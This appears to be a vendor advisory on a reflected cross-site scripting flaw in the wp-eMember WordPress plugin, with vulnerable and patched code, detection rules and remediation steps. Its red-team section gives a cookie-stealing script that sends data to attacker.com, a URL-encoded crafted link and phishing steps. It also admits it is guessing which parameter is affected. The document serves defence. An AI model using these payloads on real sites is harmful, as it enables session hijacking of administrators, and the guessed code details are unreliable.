CVE-2024-5074

Executive Summary

CVE-2024-5074 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the wp-eMember WordPress plugin, a membership management solution for the WordPress ecosystem. The flaw exists in versions prior to 10.6.6, where the plugin fails to properly sanitize and escape a parameter before outputting it back in the page. This allows an attacker to inject arbitrary JavaScript code, which executes in the context of the victim's browser. The vulnerability is particularly dangerous because it can be used against high-privilege users, such as administrators, potentially leading to session hijacking, credential theft, or full site compromise.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The wp-eMember plugin is distributed through the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from any source are at risk if they are running a version below 10.6.6. The supply chain risk is moderate, as the plugin is widely used for membership management, and the vulnerability can be exploited without authentication.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can target high-privilege users, making it a viable vector for privilege escalation and lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the wp-eMember plugin's handling of a specific parameter (likely emember_action or a similar GET/POST parameter). The plugin takes this parameter and outputs it directly into the HTML response without proper sanitization or escaping. This allows an attacker to craft a URL containing malicious JavaScript code in the parameter value.

Attack Flow:

1. Attacker crafts a malicious URL: https://target-site.com/?emember_action=<script>alert('XSS')</script>
2. Attacker sends this URL to a victim (e.g., via phishing email, social media, or forum post).
3. Victim, logged into WordPress with admin privileges, clicks the link.
4. The plugin processes the request and outputs the unsanitized parameter into the page.
5. The injected JavaScript executes in the victim's browser, potentially stealing cookies, performing actions on behalf of the admin, or redirecting to a malicious site.

Why High Privilege Users Are Targeted: The vulnerability is reflected, meaning the payload is not stored. However, by targeting admins, an attacker can leverage the admin's session to create new admin accounts, install malicious plugins, or exfiltrate sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (version < 10.6.6):

// In a function that handles the parameter
$action = $_GET['emember_action'];
echo "<div class='emember-message'>$action</div>";

Patched Code (version 10.6.6):

// Properly escape the output
$action = sanitize_text_field($_GET['emember_action']);
echo "<div class='emember-message'>" . esc_html($action) . "</div>";

The patch uses sanitize_text_field() to strip malicious input and esc_html() to escape HTML entities before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running wp-eMember < 10.6.6.
• A victim user with admin privileges who will click the crafted link.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Crafted URL:

https://target-site.com/?emember_action=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. URL-encode the payload for reliability:

   https://target-site.com/?emember_action=%3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E
   

2. Send the link to the victim via email or social engineering.
3. Set up a listener on attacker.com to capture the cookie.
4. Once the victim clicks, the cookie is exfiltrated.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for requests containing emember_action with suspicious patterns (e.g., <script>, onerror=, javascript:).
2. Use WAF rules to block requests with XSS payloads in the emember_action parameter.
3. Alert on any admin user accessing URLs with emember_action parameter.

Response:

1. Immediately isolate the affected WordPress instance.
2. Review admin user sessions for unauthorized activity.
3. Rotate all admin credentials and API keys.
4. Apply the patch by upgrading to wp-eMember 10.6.6.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to the WordPress site with emember_action parameter containing <script> tags or JavaScript event handlers.
  • Outbound connections from the WordPress server to unknown domains (potential data exfiltration).
• File IOCs:
  • Modified .htaccess files (if attacker gained admin access).
  • New admin users in the wp_users table.
• Log IOCs:
  • Repeated 200 responses to URLs with emember_action parameter.
  • User agent strings associated with known XSS exploitation tools.

Detection Engineering

YARA Rule

rule CVE_2024_5074_XSS_Detection {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-5074 in wp-eMember plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5074"
    strings:
        $xss_payload = /emember_action=.*<script[^>]*>.*<\/script>/i
        $xss_event = /emember_action=.*on\w+\s*=/i
        $xss_js = /emember_action=.*javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-5074 Reflected XSS in wp-eMember Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against wp-eMember plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 'emember_action='
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of the parameter with safe values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5074 wp-eMember Reflected XSS Attempt"; flow:to_server,established; content:"emember_action="; http_uri; pcre:"/emember_action=.*(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the plugin: Update wp-eMember to version 10.6.6 or later from the WordPress plugin repository.
2. Apply WAF rules: Block requests containing XSS patterns in the emember_action parameter.
3. Review admin accounts: Check for unauthorized admin users and rotate all admin passwords.

Long-Term Mitigations:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit WordPress plugins for vulnerabilities.
• Use a Web Application Firewall (WAF) with XSS protection rules.
• Educate users about phishing attacks targeting admin credentials.

Patch Verification:

• After updating, verify the plugin version in the WordPress admin dashboard.
• Test the vulnerable parameter to ensure it is now sanitized.

Valters IT